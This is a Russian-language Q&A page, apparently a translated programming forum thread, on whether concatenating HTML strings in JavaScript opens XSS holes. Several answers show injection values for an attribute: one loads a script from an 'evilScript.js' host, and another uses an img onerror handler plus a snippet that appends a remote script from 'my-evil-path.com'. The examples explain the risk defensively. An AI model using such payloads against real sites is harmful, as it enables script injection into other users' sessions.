Подтвердить что ты не робот

Неужели небезопасно создавать строки HTML в Javascript?

Компания, которая размещает наш сайт, просматривает наш код перед развертыванием - они недавно сообщили нам об этом:

Строки HTML никогда не должны подвергаться прямой манипуляции, так как это открывает нам к потенциальным отверстиям XSS. Вместо этого всегда используйте DOM api для создания элементы..., которые могут быть jQuery или прямой DOM apis.

Например, вместо

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 

Они говорят нам делать

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

Это правда? Может ли кто-нибудь дать нам пример атаки XSS, которая могла бы использовать HTML-строку, такую ​​как первая?

4b9b3361

Ответ 1

Если this.au каким-то образом изменено, оно может содержать что-то вроде этого:

"><script src="http://example.com/evilScript.js"></script><span class="

Это испортит ваш HTML и введет script:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

Если вы используете DOM-манипуляцию для установки атрибута src, script (или любой другой XSS, который вы используете), не будет выполняться, так как он будет правильно экранирован DOM API.


В ответ на некоторые комментаторы, которые говорят, что если кто-то может изменить this.au, они могут самостоятельно запустить script: я не знаю, откуда приходит this.au, и это не имеет особого значения, Это может быть значение из базы данных, и БД могла быть скомпрометирована. Это может быть и вредоносный пользователь, пытающийся испортить работу другим пользователям. Это может быть даже невинный нетехник, который не понимал, что письмо "def" > "abc" уничтожит вещи.


Еще одна вещь. В коде, который вы указали, var quizAuLink = $( 'a' ); не будет создавать новый элемент <a>. Он просто выберет все существующие. Вам нужно использовать var quizAuLink = $( '<a>' ); для создания нового.

Ответ 2

Это должно быть столь же безопасным, не слишком усложняя удобочитаемость:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

Необходимо избегать выполнения строковых операций для построения строк HTML. Обратите внимание, что выше, я использовал $() только для синтаксического анализа константной строки, которая анализирует на хорошо известный результат. В этом примере только часть this.au опасна, поскольку она может содержать динамически рассчитанные значения.

Ответ 3

Поскольку вы не можете вводить теги script в современных браузерах с помощью .innerHTML, вам нужно будет прослушать событие:

Если this.au каким-то образом изменено, оно может содержать что-то вроде этого:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

Это испортит ваш HTML и введет script:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

И из-за того, что для запуска больших блоков JavaScript установлен onerror:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

Благодаря Scimoster для шаблона

Ответ 4

Безопасность в стороне, когда вы создаете HTML в JavaScript, вы должны убедиться, что оно действительно. Хотя можно создавать и дезинфицировать HTML с помощью манипуляции с строками *, манипуляции с DOM гораздо удобнее. Тем не менее, вы должны точно знать, какая часть вашей строки является HTML и которая является литеральным текстом.

Рассмотрим следующий пример, где мы имеем две жестко кодированные переменные:

var href = "/detail?tag=hr&copy%5B%5D=1",
    text = "The HTML <hr> tag";

Следующий код наивно строит строку HTML:

var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>

В этом случае используется jQuery, но он все еще неверен (он использует .html() для переменной, которая должна была быть текстом):

var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>

Это правильно, потому что он отображает текст по своему усмотрению:

var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>

Заключение: использование DOM-манипуляции/jQuery не гарантирует никакой безопасности, но, безусловно, это один шаг в правильном направлении.


* См. этот вопрос для примера. Обсуждаются как строковые, так и DOM-манипуляции.